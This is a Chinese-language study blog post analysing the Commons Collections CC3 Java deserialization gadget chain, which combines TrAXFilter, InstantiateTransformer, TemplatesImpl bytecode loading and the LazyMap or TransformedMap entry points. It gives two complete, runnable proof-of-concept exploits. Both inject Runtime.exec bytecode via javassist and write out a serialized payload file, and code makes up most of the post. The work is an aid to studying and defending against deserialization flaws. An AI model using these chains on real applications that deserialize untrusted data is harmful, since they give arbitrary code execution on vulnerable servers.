java安全-CC3链学习与分析
2022-12-05 17:46:59

0x00、前言

CC1、CC2过完,后面的链相对来说就容易理解很多,就是再利用链上变种调用其他类方法进行实现,继续往后面学吧。

0x01、Apache Commons Collections描述

引用CC1链分析中的描述
CC链即Commons Collections利用链,主要针对Commons Collections组件发现的利用链。

Apache Commons是Apache软件基金会的项目。Commons的目的是提供可重用的、开源的Java代码。
Apache Commons提供了很多工具类库,他们几乎不依赖其他第三方的类库,接口稳定,集成简单,可以大大提高编码效率和代码质量。
Apache Commons Collections 是对 java.util.Collection 的扩展。
Commons Collections包为Java标准的Collections API提供了相当好的补充。在此基础上对其常用的数据结构操作进行了很好的封装、抽象和补充。让我们在开发应用程序的过程中,既保证了性能,同时也能大大简化代码。

目前 Collections 包有两个 commons-collections 和commons-collections4,commons-collections 最新版本是3.2.2,3系列版本也是只有3.2.2是安全的,不支持泛型,目前官方已不在维护。collections4 目前最新版本是4.4,其中4.0是存在漏洞,最低要求 Java8 以上。相对于 collections 来说完全支持 Java8 的特性并且支持泛型,该版本无法兼容旧有版本,于是为了避免冲突改名为 collections4。推荐直接使用该版本。(注:两个版本可以共存,使用时需要注意)

0x02、环境准备

java版本:jdk8u66(8u71版本之前,8u71之后漏洞已修复)
Commons Collections:3.2.1(漏洞版本在3.1-3.2.1)
maven项目pom.xml文件中添加依赖

<dependencies>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>

在idea访问Commons Collections组件的文件时候点击上方的下载源代码就可以看到对应文件的.java文件了

0x03、分析

回顾

CC1、CC2后的链基本就是正向分析,因为在CC1/2中的大部分逆向分析思路已经分析过了,后续的链基本就是在前面的链上面交换利用类和方法实现同一个效果。

先明确的CC3链使用的东西:LazyMap动态代理、javassist字节码、TemplatesImpl字节码转换成类、PriorityQueue优先级队列,相当于把cc1和cc2串起来用了。

简述CC1、CC2的实现流程

CC1(LazyMap链):

  • 生成LazyMap对象,将InvokerTransformer利用方法串起来的ChainedTransformer对象传入LazyMap构造方法,随后将LazyMap对象传入AnnotationInvocationHandler代理类。
  • 通过动态代理,在生成二次代理对象时调用对象的invoke方法,其中invoke方法中调用LazyMap.get()方法、get()方法调用ChainedTransformer.transform()方法最后实现InvokerTransformer.transform()执行命令;

CC2(TemplatesImpl):

  • 通过反射调用InvokerTransformer构造方法传递方法名getOutputProperties/newTransformer
  • 通过javassist生成恶意代码的字节码。
  • 通过TemplatesImpl将字节码转化成类。
  • 将反射InvokerTransformer对象作为比较器传递入PriorityQueue优先级队列。
  • TemplatesImpl对象元素添加入PriorityQueue队列。
  • 在比较器进行元素比较时触发TemplatesImplgetOutputProperties/newTransformer方法,触发漏洞。

分析

先不直接给出cc3的poc,先看下调用变化,尽可能逆向思维分析。

主体上还是使用了javassist&TemplatesImpl,生成恶意字节码再转化字节码解析成类进行调用,在分析CC2的时候提到调用TemplatesImpl的(getOutputProperties()或者newTransformer())方法。

其中getOutputProperties()方法是newTransformer()的本类的上层调用,其中newTransformer()还有其他类的调用在CC2分析中过掉了,再看看其他类的调用情况

发现除了cc2利用链的getOutputProperties()方法外,还剩3个方法(TransformerFactoryImpl.newTransformer()TransformerFactoryImpl.newTransformerHandler()TrAXFilter.TrAXFilter()

其中TransformerFactoryImpl.newTransformer()TransformerFactoryImpl.newTransformerHandler()方法都是TransformerFactoryImpl类的方法,要调用该两个方法,首先得创建该类的实例,再去调用这两个方法,其次,TransformerFactoryImpl类并未实现序列化接口,该类的实例无法直接进行序列化,只能通过其他类进行调用,向上未发现能形成链的调用类。

TrAXFilter

剩下还有一个TrAXFilter.TrAXFilter()方法,TrAXFilter()方法是TrAXFilter类的构造方法。

该类的描述

XMLFilterImpl的骨架扩展

该类通过将Templates对象作为参数传递进构造方法,且没有其他条件,这里进行了强制转换成TransformerImpl类,进而直接调用(TransformerImpl)Templates.newTransformer()方法

因此通过构造函数带参实例化TrAXFilter类对象,就能执行恶意代码。

但由于TrAXFilter类并未实现序列化,因此该类无法直接实例化对象并序列化来执行恶意代码,需要找到一个能实例化该类的方法。

InstantiateTransformer

到这确实没法通过逆向思维找到对应调用TrAXFilter类的实例化方法,这里就只有正向分析学习一下。

该类的描述

通过反射创建新对象实例的Transformer实现

其中构造方法传递两个参数,一个class[]类数组的参数,代表参数类型,一个object[]对象类数组的参数,代表参数值

其中存在transform方法

这里会先判断传入的input对象是否是Class实例,不是的话直接抛出该类不是Class实例的异常异常,所以这里也必须使用反射传递进来。

if (input instanceof Class == false) {
throw new FunctorException(
"InstantiateTransformer: Input object was not an instanceof Class, it was a "
+ (input == null ? "null object" : input.getClass().getName()));
}

随后通过调用input对象的带参构造方法,并传递iArgs对象通过newInstance进行实例化

Constructor con = ((Class) input).getConstructor(iParamTypes);
return con.newInstance(iArgs);

这里就利用到cc1链中的ChainedTransformer类的方法把TrAXFilterInstantiateTransformer串起来,通过TrAXFilter反射对象input参数传递入InstantiateTransformer.transform(input)TrAXFilter对象进行实例化,调用TrAXFilter构造方法中的TransformerImpl.newTransformer,形成完整的利用链。

构造POC

主体没变,依然把cc2中的 javassist生成恶意代码的字节码和TransformerImpl转化字节码为实例类 的代码段搬过来

//创建CtClass对象容器
ClassPool pool2=ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct=pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2=ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode=ct.toBytecode();
byte[][] bytecodes=new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates=TemplatesImpl.class.newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates,"_bytecodes",bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates,"_class",null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates,"_name","test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

恶意字节码以及转化实例的代码有了,接下来就是找到调用,通过TrAXFilterInstantiateTransformer串联起来作为触发点

//串联TrAXFilter类和InstantiateTransformer类。
Transformer[] transformers = new Transformer[]{
//获取TrAXFilter类对象
new ConstantTransformer(TrAXFilter.class),
//调用InstantiateTransformer方法,实例化TrAXFilter对象,并执行TransformerImpl.newTransformer()方法
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

接下来使用CC1中的LazyMap链的后半段通过动态代理调用invoke方法执行transformerChain.transform()作为序列化入口

Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);
//反射调用AnnotationInvocationHandler类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//创建代理InvocationHandler对象调用AnnotationInvocationHandler类
InvocationHandler invohandler=(InvocationHandler)declaredConstructor.newInstance(Generated.class,Lmap);
//创建proxy代理对象,参数分别为Map加载器、Map类数组、InvocationHandler对象invohandler
Map proxymap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invohandler);
//通过代理调用代理对象,执行invoke方法
InvocationHandler invohandlerproxy=(InvocationHandler)declaredConstructor.newInstance(Generated.class,proxymap);

最后进行序列化和反序列化触发漏洞。

最后的POC:

public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2=ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct=pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2=ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode=ct.toBytecode();
byte[][] bytecodes=new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates=TemplatesImpl.class.newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates,"_bytecodes",bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates,"_class",null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates,"_name","test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

//串联TrAXFilter类和InstantiateTransformer类。
Transformer[] transformers = new Transformer[]{
//获取TrAXFilter类对象
new ConstantTransformer(TrAXFilter.class),
//调用InstantiateTransformer方法,实例化TrAXFilter对象,并执行TransformerImpl.newTransformer()方法
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

Map map = new HashMap();
//创建LazyMap对象调用decorate回调方法
Map Lmap= LazyMap.decorate(map,transformerChain);
//反射调用AnnotationInvocationHandler类
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
//创建代理InvocationHandler对象调用AnnotationInvocationHandler类
InvocationHandler invohandler=(InvocationHandler)declaredConstructor.newInstance(Generated.class,Lmap);
//创建proxy代理对象,参数分别为Map加载器、Map类数组、InvocationHandler对象invohandler
Map proxymap=(Map) Proxy.newProxyInstance(Map.class.getClassLoader(),new Class[]{Map.class},invohandler);
//通过代理调用代理对象,执行invoke方法
InvocationHandler invohandlerproxy=(InvocationHandler)declaredConstructor.newInstance(Generated.class,proxymap);

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc3payload.ser"));
outputStream.writeObject(invohandlerproxy);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc3payload.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

CC3延伸TransformedMap

上述的CC3-POC主要还是加载字节码+LazyMap,在CC1链学习中学到CC1链有LazyMap链还有一条TransformedMap链,且加载字节码主体不变,触发方式也是去调用ChainedTransformer的串联方法。那也同理,可以使用TransformedMap链作为入口点。

构造POC:
同理,加载字节码主体不变,直接搬过来

//创建CtClass对象容器
ClassPool pool2=ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct=pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2=ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode=ct.toBytecode();
byte[][] bytecodes=new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates=TemplatesImpl.class.newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates,"_bytecodes",bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates,"_class",null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates,"_name","test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

加载字节码有了,现在就是触发字节码的部分,也是ChainedTransformer类的串联方法

//串联TrAXFilter类和InstantiateTransformer类。
Transformer[] transformers = new Transformer[]{
//获取TrAXFilter类对象
new ConstantTransformer(TrAXFilter.class),
//调用InstantiateTransformer方法,实例化TrAXFilter对象,并执行TransformerImpl.newTransformer()方法
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

触发方式有了,现在就是找到反序列化入口,即CC1的TransformedMap入口

 Map map = new HashMap();
map.put("value", "aaa");
Map tmap = TransformedMap.decorate(map, null, transformerChain);
//反射获取AnnotationInvocationHandler的对象传入tmap
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object obj = declaredConstructor.newInstance(Generated.class, tmap);

最后就是对obj对象进行序列化和反序列化触发利用。

得到完整代码:

public static void main(String[] args) throws Exception {
//创建CtClass对象容器
ClassPool pool2=ClassPool.getDefault();
//pool2.insertClassPath(new ClassClassPath(AbstractTranslet.class));
//创建新类Exp2
CtClass ct=pool2.makeClass("People2");
//设置People2类的父类为AbstractTranslet,满足实例化条件
ct.setSuperclass(pool2.get(AbstractTranslet.class.getName()));
//创建构造函数
CtConstructor cons2=ct.makeClassInitializer();
//向构造函数插入字节码
cons2.insertBefore("java.lang.Runtime.getRuntime().exec(\"calc\");");
//javassist转换字节码并转化为二位数组
byte[] bytecode=ct.toBytecode();
byte[][] bytecodes=new byte[][]{bytecode};
//实例化TemplatesImpl对象
TemplatesImpl templates=TemplatesImpl.class.newInstance();
//设置满足条件属性_bytecodes为恶意构造字节码
setFieldValue(templates,"_bytecodes",bytecodes);
//设置满足条件属性_class为空
setFieldValue(templates,"_class",null);
//设置满足条件属性_name不为空,任意赋值都行
setFieldValue(templates,"_name","test");
//设置满足条件属性_tfactory实例化
setFieldValue(templates, "_tfactory", TransformerFactoryImpl.class.newInstance());

//串联TrAXFilter类和InstantiateTransformer类。
Transformer[] transformers = new Transformer[]{
//获取TrAXFilter类对象
new ConstantTransformer(TrAXFilter.class),
//调用InstantiateTransformer方法,实例化TrAXFilter对象,并执行TransformerImpl.newTransformer()方法
new InstantiateTransformer(new Class[]{Templates.class},new Object[]{templates})
};
//通过链转换器进行循环调用transformers数组
Transformer transformerChain = new ChainedTransformer(transformers);

//使用TransformedMap链作为序列化入口
Map map = new HashMap();
map.put("value", "aaa");
Map tmap = TransformedMap.decorate(map, null, transformerChain);
//反射获取AnnotationInvocationHandler的对象传入tmap
Class c = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor declaredConstructor = c.getDeclaredConstructor(Class.class, Map.class);
declaredConstructor.setAccessible(true);
Object obj = declaredConstructor.newInstance(Generated.class, tmap);

//最后生成序列化文件,反序列化实现命令执行
try{
ObjectOutputStream outputStream = new ObjectOutputStream(new FileOutputStream("cc3payload-2.ser"));
outputStream.writeObject(obj);
outputStream.close();

ObjectInputStream inputStream = new ObjectInputStream(new FileInputStream("cc3payload-2.ser"));
inputStream.readObject();
inputStream.close();
}catch(Exception e){
e.printStackTrace();
}
}
private static void setFieldValue(final Object obj, final String fieldName, final Object value) throws Exception {
Field field = obj.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, value);
}

0x04、总结

主要还是变式吧,cc1和cc2的结合,并找到了新的两个类TrAXFilterInstantiateTransformer串联进行执行,采用cc1的LazyMap和cc2的字节码实例化,相对理解起来轻松很多,同理也可以使用cc1的TransformedMap利用链改变入口点,进行再次变式,原理上差不多,接着后面链学习吧。

0x05、参考链接

https://paper.seebug.org/1242/#commons-collections-3
java漫谈